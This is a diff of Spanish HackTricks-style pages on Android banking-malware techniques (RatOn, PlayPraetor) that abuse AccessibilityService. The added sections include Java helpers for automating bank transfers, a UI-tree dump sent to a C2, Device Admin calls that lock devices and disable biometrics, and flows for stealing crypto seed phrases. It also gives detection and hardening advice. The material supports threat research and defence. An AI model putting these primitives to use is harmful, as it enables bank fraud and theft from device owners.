||||||
|
Uri.parse("package:" + ctx.getPackageName()));
|
||||||
|
ctx.startActivity(i);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Ver también:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### Overlay phishing/ransom via WebView
|
||||||
|
Los operadores pueden emitir comandos para:
|
||||||
|
- mostrar una superposición de pantalla completa desde una URL, o
|
||||||
|
- pasar HTML inline que se carga en una superposición WebView.
|
||||||
|
|
||||||
|
Usos probables: coacción (introducción de PIN), apertura de wallet para capturar PINs, mensajería de rescate. Mantener un comando para asegurarse de que el permiso de superposición esté concedido si falta.
|
||||||
|
|
||||||
|
### Remote control model – text pseudo-screen + screen-cast
|
||||||
|
- Bajo ancho de banda: volcar periódicamente el árbol de nodos Accessibility, serializar los textos visibles/roles/bounds y enviarlos al C2 como una pseudo-pantalla (comandos como `txt_screen` una vez y `screen_live` continuo).
|
||||||
|
- Alta fidelidad: solicitar MediaProjection y comenzar screen-casting/grabación bajo demanda (comandos como `display` / `record`).
|
||||||
|
|
||||||
|
### ATS playbook (bank app automation)
|
||||||
|
Dada una tarea en JSON, abrir la app del banco, controlar la UI vía Accessibility con una mezcla de consultas de texto y toques por coordenadas, e introducir el PIN de pago de la víctima cuando se solicite.
|
||||||
|
|
||||||
|
Ejemplo de tarea:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cmd": "transfer",
|
||||||
|
"receiver_address": "ACME s.r.o.",
|
||||||
|
"account": "123456789/0100",
|
||||||
|
"amount": "24500.00",
|
||||||
|
"name": "ACME"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Example texts seen in one target flow (CZ → EN):
|
||||||
|
- "Nová platba" → "Nuevo pago"
|
||||||
|
- "Zadat platbu" → "Introducir pago"
|
||||||
|
- "Nový příjemce" → "Nuevo destinatario"
|
||||||
|
- "Domácí číslo účtu" → "Número de cuenta doméstica"
|
||||||
|
- "Další" → "Siguiente"
|
||||||
|
- "Odeslat" → "Enviar"
|
||||||
|
- "Ano, pokračovat" → "Sí, continuar"
|
||||||
|
- "Zaplatit" → "Pagar"
|
||||||
|
- "Hotovo" → "Listo"
|
||||||
|
|
||||||
|
Los operadores también pueden comprobar/aumentar los límites de transferencia mediante comandos como `check_limit` y `limit` que navegan por la UI de límites de forma similar.
|
||||||
|
|
||||||
|
### Extracción de la frase semilla de wallets cripto
|
||||||
|
Objetivos como MetaMask, Trust Wallet, Blockchain.com, Phantom. Flujo: desbloquear (PIN robado o contraseña proporcionada), navegar a Security/Recovery, revelar/mostrar la frase semilla, keylog/exfiltrate it. Implementar selectores conscientes de la localización (EN/RU/CZ/SK) para estabilizar la navegación entre idiomas.
|
||||||
|
|
||||||
|
### Coerción mediante Device Admin
|
||||||
|
Device Admin APIs se usan para aumentar las oportunidades de captura del PIN y frustrar a la víctima:
|
||||||
|
|
||||||
|
- Bloqueo inmediato:
|
||||||
|
```java
|
||||||
|
dpm.lockNow();
|
||||||
|
```
|
||||||
|
- Expirar la credencial actual para forzar el cambio (Accessibility captura el nuevo PIN/contraseña):
|
||||||
|
```java
|
||||||
|
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||||
|
```
|
||||||
|
- Forzar desbloqueo no biométrico deshabilitando las funciones biométricas del keyguard:
|
||||||
|
```java
|
||||||
|
dpm.setKeyguardDisabledFeatures(admin,
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||||
|
```
|
||||||
|
Nota: Muchos controles de DevicePolicyManager requieren Device Owner/Profile Owner en versiones recientes de Android; algunas builds de OEM pueden ser laxas. Siempre valida en el OS/OEM objetivo.
|
||||||
|
|
||||||
|
### Orquestación de relay NFC (NFSkate)
|
||||||
|
Stage-3 puede instalar y lanzar un módulo externo de NFC-relay (p. ej., NFSkate) e incluso pasarle una plantilla HTML para guiar a la víctima durante el relay. Esto permite cash-out presencial contactless con tarjeta junto con ATS en línea.
|
||||||
|
|
||||||
|
Antecedentes: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||||
|
|
||||||
|
### Conjunto de comandos del operador (ejemplo)
|
||||||
|
- UI/estado: `txt_screen`, `screen_live`, `display`, `record`
|
||||||
|
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||||
|
- Superposiciones: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||||
|
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
|
||||||
|
- ATS: `transfer`, `check_limit`, `limit`
|
||||||
|
- Dispositivo: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||||
|
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||||
|
- NFC: `nfs`, `nfs_inject`
|
||||||
|
|
||||||
|
### Ideas de detección y defensa (estilo RatOn)
|
||||||
|
- Buscar WebViews con `addJavascriptInterface()` que expongan métodos de instalador/permiso; páginas que terminan en “/access” que desencadenan prompts de Accessibility.
|
||||||
|
- Alertar sobre apps que generan gestos/clics de Accessibility a alta frecuencia poco después de obtener acceso al servicio; telemetría que se asemeje a dumps de Accessibility node enviados al C2.
|
||||||
|
- Monitorizar cambios de políticas de Device Admin en apps no confiables: `lockNow`, expiración de contraseña, alternancias de funciones de keyguard.
|
||||||
|
- Alertar sobre prompts de MediaProjection de apps no corporativas seguidos por subidas periódicas de frames.
|
||||||
|
- Detectar la instalación/ejecución de una app externa de NFC-relay desencadenada por otra app.
|
||||||
|
- Para banca: aplicar confirmaciones fuera de banda, binding biométrico y límites de transacción resistentes a la automatización on-device.
|
||||||
|
|
||||||
## Referencias
|
## Referencias
|
||||||
|
|
||||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||||
|
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
|
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,20 +1,20 @@
|
|||||||
# Abuso del Servicio de Accesibilidad de Android
|
# Abuso del Accessibility Service en Android
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Descripción general
|
## Resumen
|
||||||
|
|
||||||
`AccessibilityService` fue creado para ayudar a los usuarios con discapacidades a interactuar con dispositivos Android. Desafortunadamente, las mismas **APIs de automatización poderosas** (navegación global, entrada de texto, despacho de gestos, ventanas superpuestas…) pueden ser utilizadas por malware para obtener **control remoto completo** del dispositivo _sin privilegios de root_.
|
`AccessibilityService` fue creado para ayudar a usuarios con discapacidades a interactuar con dispositivos Android. Desafortunadamente, las mismas **potentes APIs de automatización** (navegación global, entrada de texto, envío de gestos, ventanas overlay…) pueden ser aprovechadas por malware para obtener **control remoto completo** del dispositivo _sin privilegios de root_.
|
||||||
|
|
||||||
Los troyanos bancarios modernos de Android y los troyanos de acceso remoto (RATs) como **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** y muchos otros siguen la misma receta:
|
Los troyanos bancarios modernos para Android y los Remote-Access-Trojans (RATs) como **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** y muchos otros siguen la misma receta:
|
||||||
|
|
||||||
1. Engañar socialmente a la víctima para que habilite un servicio de accesibilidad malicioso (el permiso *BIND_ACCESSIBILITY_SERVICE* se considera "de alto riesgo" y requiere una acción explícita del usuario).
|
1. Social-engineer a la víctima para que habilite un servicio de accessibility malicioso (el permiso *BIND_ACCESSIBILITY_SERVICE* se considera "de alto riesgo" y requiere una acción explícita del usuario).
|
||||||
2. Aprovechar el servicio para
|
2. Aprovechar el servicio para
|
||||||
* capturar cada evento de UI y texto que aparece en la pantalla,
|
* capturar cada evento de UI y texto que aparece en pantalla,
|
||||||
* inyectar gestos sintéticos (`dispatchGesture`) y acciones globales (`performGlobalAction`) para automatizar cualquier tarea que desee el operador,
|
* inyectar gestos sintéticos (`dispatchGesture`) y acciones globales (`performGlobalAction`) para automatizar cualquier tarea que el operador desee,
|
||||||
* dibujar superposiciones de pantalla completa sobre aplicaciones legítimas utilizando el tipo de ventana **TYPE_ACCESSIBILITY_OVERLAY** (¡sin aviso de `SYSTEM_ALERT_WINDOW`!),
|
* dibujar overlays a pantalla completa sobre apps legítimas usando el tipo de ventana **TYPE_ACCESSIBILITY_OVERLAY** (¡sin el prompt de `SYSTEM_ALERT_WINDOW`!),
|
||||||
* otorgar silenciosamente permisos adicionales en tiempo de ejecución haciendo clic en los diálogos del sistema en nombre de la víctima.
|
* conceder silenciosamente permisos runtime adicionales haciendo clic en los diálogos del sistema en nombre de la víctima.
|
||||||
3. Exfiltrar datos o realizar **Fraude en el Dispositivo (ODF)** en tiempo real mientras el usuario está mirando una pantalla perfectamente normal.
|
3. Exfiltrar datos o realizar **On-Device-Fraud (ODF)** en tiempo real mientras el usuario está viendo una pantalla perfectamente normal.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@ -34,7 +34,7 @@ android:exported="false">
|
|||||||
android:resource="@xml/evil_accessibility_config"/>
|
android:resource="@xml/evil_accessibility_config"/>
|
||||||
</service>
|
</service>
|
||||||
```
|
```
|
||||||
El XML compañero define cómo se verá el diálogo falso:
|
El XML complementario define cómo se verá el diálogo falso:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Con solo estas dos API, un atacante puede:
|
Con solo estas dos APIs un atacante puede:
|
||||||
* Desbloquear la pantalla, abrir la aplicación bancaria, navegar por su árbol de interfaz de usuario y enviar un formulario de transferencia.
|
* Desbloquear la pantalla, abrir la app bancaria, navegar su árbol de UI y enviar un formulario de transferencia.
|
||||||
* Aceptar cada diálogo de permiso que aparezca.
|
* Aceptar cada diálogo de permisos que aparezca.
|
||||||
* Instalar/actualizar APKs adicionales a través de la intención de Play Store.
|
* Instalar/actualizar APKs adicionales vía el intent de Play Store.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Patrones de abuso
|
## Patrones de abuso
|
||||||
|
|
||||||
### 1. Phishing por superposición (Recolección de credenciales)
|
### 1. Overlay Phishing (Credential Harvesting)
|
||||||
Se añade un `WebView` transparente u opaco al administrador de ventanas:
|
Se añade un `WebView` transparente u opaco al window manager:
|
||||||
```java
|
```java
|
||||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||||
MATCH_PARENT, MATCH_PARENT,
|
MATCH_PARENT, MATCH_PARENT,
|
||||||
@ -87,29 +87,29 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
|
|||||||
PixelFormat.TRANSLUCENT);
|
PixelFormat.TRANSLUCENT);
|
||||||
wm.addView(phishingView, lp);
|
wm.addView(phishingView, lp);
|
||||||
```
|
```
|
||||||
La víctima introduce credenciales en el formulario falso mientras la aplicación en segundo plano recibe los mismos gestos; nunca se muestra un aviso sospechoso de "dibujar sobre otras aplicaciones".
|
La víctima escribe credenciales en el formulario falso mientras la app en segundo plano recibe los mismos gestos: nunca se muestra el sospechoso aviso "draw over other apps".
|
||||||
|
|
||||||
> Ejemplo detallado: la sección *Accessibility Overlay Phishing* dentro de la página de Tapjacking.
|
> Ejemplo detallado: la sección *Accessibility Overlay Phishing* dentro de la página Tapjacking.
|
||||||
|
|
||||||
### 2. Automatización de fraude en el dispositivo
|
### 2. Automatización de fraude en el dispositivo
|
||||||
Familias de malware como **PlayPraetor** mantienen un canal WebSocket persistente donde el operador puede emitir comandos de alto nivel (`init`, `update`, `alert_arr`, `report_list`, …). El servicio traduce esos comandos en los gestos de bajo nivel mencionados, logrando transacciones no autorizadas en tiempo real que evaden fácilmente la autenticación multifactor vinculada a ese mismo dispositivo.
|
Familias de malware como **PlayPraetor** mantienen un canal WebSocket persistente donde el operador puede emitir comandos de alto nivel (`init`, `update`, `alert_arr`, `report_list`, …). El servicio traduce esos comandos en los gestos de bajo nivel descritos arriba, logrando transacciones no autorizadas en tiempo real que eluden fácilmente la autenticación multifactor ligada a ese mismo dispositivo.
|
||||||
|
|
||||||
### 3. Transmisión y monitoreo de pantalla
|
### 3. Transmisión y monitorización de pantalla
|
||||||
Al combinar la **MediaProjection API** con una biblioteca cliente RTMP, el RAT puede transmitir el framebuffer en vivo a `rtmp://<c2>:1935/live/<device_id>`, brindando al adversario una perfecta conciencia situacional mientras el motor de Accesibilidad controla la interfaz de usuario.
|
Combinando la **MediaProjection API** con una librería cliente RTMP, el RAT puede emitir el framebuffer en vivo a `rtmp://<c2>:1935/live/<device_id>`, dando al adversario una conciencia situacional perfecta mientras el motor de Accessibility maneja la interfaz de usuario.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## PlayPraetor – flujo de trabajo de comando y control
|
## PlayPraetor – flujo de trabajo de command & control
|
||||||
|
|
||||||
1. **HTTP(S) heartbeat** – iterar sobre una lista codificada hasta que un dominio responda `POST /app/searchPackageName` con el C2 activo.
|
1. **HTTP(S) heartbeat** – iterar sobre una lista codificada hasta que un dominio responda `POST /app/searchPackageName` con el C2 activo.
|
||||||
2. **WebSocket (puerto 8282)** – comandos JSON bidireccionales:
|
2. **WebSocket (port 8282)** – comandos JSON bidireccionales:
|
||||||
* `update` – enviar nuevas conf/APKs
|
* `update` – enviar nuevas conf/APKs
|
||||||
* `alert_arr` – configurar plantillas de superposición
|
* `alert_arr` – configurar plantillas de overlay
|
||||||
* `report_list` – enviar lista de nombres de paquetes objetivo
|
* `report_list` – enviar lista de nombres de paquetes objetivo
|
||||||
* `heartbeat_web` – mantener vivo
|
* `heartbeat_web` – mantener la conexión
|
||||||
3. **RTMP (puerto 1935)** – transmisión de pantalla/video en vivo.
|
3. **RTMP (port 1935)** – transmisión de pantalla/video en vivo.
|
||||||
4. **Exfiltración REST** –
|
4. **REST exfiltration** –
|
||||||
* `/app/saveDevice` (huella digital)
|
* `/app/saveDevice` (huella)
|
||||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||||
* `/app/saveCardPwd` (credenciales bancarias)
|
* `/app/saveCardPwd` (credenciales bancarias)
|
||||||
|
|
||||||
@ -117,29 +117,116 @@ El **AccessibilityService** es el motor local que convierte esos comandos en la
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Detección de servicios de accesibilidad maliciosos
|
## Detectando servicios de accesibilidad maliciosos
|
||||||
|
|
||||||
* `adb shell settings get secure enabled_accessibility_services`
|
* `adb shell settings get secure enabled_accessibility_services`
|
||||||
* Configuración → Accesibilidad → *Servicios descargados* – buscar aplicaciones que **no** son de Google Play.
|
* Ajustes → Accesibilidad → *Servicios descargados* – busca apps que **no** provengan de Google Play.
|
||||||
* Las soluciones MDM / EMM pueden hacer cumplir `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) para bloquear servicios instalados manualmente.
|
* Las soluciones MDM / EMM pueden imponer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) para bloquear servicios instalados fuera de Google Play.
|
||||||
* Analizar servicios en ejecución:
|
* Analiza los servicios en ejecución:
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Recomendaciones de endurecimiento para desarrolladores de aplicaciones
|
## Recomendaciones de hardening para desarrolladores de apps
|
||||||
|
|
||||||
* Marcar vistas sensibles con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
* Marcar vistas sensibles con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||||||
* Combinar `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` para prevenir el secuestro de toques/superposiciones.
|
* Combina `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` para prevenir tap/overlay hijacking.
|
||||||
* Detectar superposiciones consultando `WindowManager.getDefaultDisplay().getFlags()` o la API `ViewRootImpl`.
|
* Detecta overlays consultando `WindowManager.getDefaultDisplay().getFlags()` o la API `ViewRootImpl`.
|
||||||
* Negarse a operar cuando `Settings.canDrawOverlays()` **o** un servicio de Accesibilidad no confiable está activo.
|
* Rechaza operar cuando `Settings.canDrawOverlays()` **o** un Accessibility service no confiable esté activo.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Hoja rápida de automatización ATS (Accessibility-driven)
|
||||||
|
El malware puede automatizar por completo una app bancaria con solo las Accessibility APIs. Primitivas genéricas:
|
||||||
|
```java
|
||||||
|
// Helpers inside your AccessibilityService
|
||||||
|
private List<AccessibilityNodeInfo> byText(String t){
|
||||||
|
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||||||
|
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||||||
|
}
|
||||||
|
private boolean clickText(String t){
|
||||||
|
for (AccessibilityNodeInfo n: byText(t)){
|
||||||
|
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||||||
|
AccessibilityNodeInfo p = n.getParent();
|
||||||
|
if (p != null) return p.performAction(ACTION_CLICK);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
private void inputText(AccessibilityNodeInfo field, String text){
|
||||||
|
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||||||
|
field.performAction(ACTION_SET_TEXT, b);
|
||||||
|
}
|
||||||
|
private void tap(float x, float y){
|
||||||
|
Path p = new Path(); p.moveTo(x,y);
|
||||||
|
dispatchGesture(new GestureDescription.Builder()
|
||||||
|
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Flujo de ejemplo (checo → etiquetas en inglés):
|
||||||
|
- "Nová platba" (Nuevo pago) → hacer clic
|
||||||
|
- "Zadat platbu" (Ingresar pago) → hacer clic
|
||||||
|
- "Nový příjemce" (Nuevo destinatario) → hacer clic
|
||||||
|
- "Domácí číslo účtu" (Número de cuenta nacional) → enfocar y `ACTION_SET_TEXT`
|
||||||
|
- "Další" (Siguiente) → hacer clic → … "Zaplatit" (Pagar) → hacer clic → introducir PIN
|
||||||
|
|
||||||
|
Fallback: coordenadas codificadas con `dispatchGesture` cuando la búsqueda de texto falla debido a widgets personalizados.
|
||||||
|
|
||||||
|
También observado: pasos previos a `check_limit` y `limit` navegando a la UI de límites y aumentando los límites diarios antes de la transferencia.
|
||||||
|
|
||||||
|
## Pseudo-transmisión de pantalla basada en texto
|
||||||
|
Para control remoto de baja latencia, en lugar de transmisión de video completa, volcar una representación textual del árbol de la interfaz de usuario actual y enviarla repetidamente al C2.
|
||||||
|
```java
|
||||||
|
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||||||
|
if (n==null) return;
|
||||||
|
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||||||
|
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||||||
|
sb.append(indent).append("[").append(cls).append("] ")
|
||||||
|
.append(txt==null?"":txt).append(" ")
|
||||||
|
.append(b.toShortString()).append("\n");
|
||||||
|
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Esta es la base para comandos como `txt_screen` (one-shot) y `screen_live` (continuous).
|
||||||
|
|
||||||
|
## Primitivas de coerción de Device Admin
|
||||||
|
Una vez que un Device Admin receiver está activado, estas llamadas aumentan las oportunidades de capturar credenciales y mantener el control:
|
||||||
|
```java
|
||||||
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||||||
|
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||||||
|
|
||||||
|
// 1) Immediate lock
|
||||||
|
dpm.lockNow();
|
||||||
|
|
||||||
|
// 2) Force credential change (expire current PIN/password)
|
||||||
|
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||||||
|
|
||||||
|
// 3) Disable biometric unlock to force PIN/pattern entry
|
||||||
|
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||||||
|
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||||||
|
```
|
||||||
|
Nota: la disponibilidad exacta de estas políticas varía según la versión de Android y el OEM; valida el rol de la política del dispositivo (admin vs owner) durante las pruebas.
|
||||||
|
|
||||||
|
## Patrones de extracción de seed-phrases de crypto wallets
|
||||||
|
Flujos observados para MetaMask, Trust Wallet, Blockchain.com y Phantom:
|
||||||
|
- Desbloquear con PIN robado (capturado vía overlay/Accessibility) o con la contraseña de wallet proporcionada.
|
||||||
|
- Navegar: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||||||
|
- Recopilar la phrase mediante keylogging de los nodos de texto, secure-screen bypass, o screenshot OCR cuando el texto esté oculto.
|
||||||
|
- Soportar múltiples locales (EN/RU/CZ/SK) para estabilizar selectores – preferir `viewIdResourceName` cuando esté disponible, y en su defecto recurrir a coincidencia de texto multilingüe.
|
||||||
|
|
||||||
|
## Orquestación de NFC-relay
|
||||||
|
Módulos Accessibility/RAT pueden instalar y lanzar una app dedicada de NFC-relay (p. ej., NFSkate) como tercera etapa e incluso inyectar una guía overlay para conducir a la víctima a través de los pasos de relay con tarjeta presente.
|
||||||
|
|
||||||
|
Contexto y TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Referencias
|
## Referencias
|
||||||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
* [La amenaza evolutiva de PlayPraetor: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
* [Documentación de Android Accessibility – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||||
|
* [El auge de RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
|
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user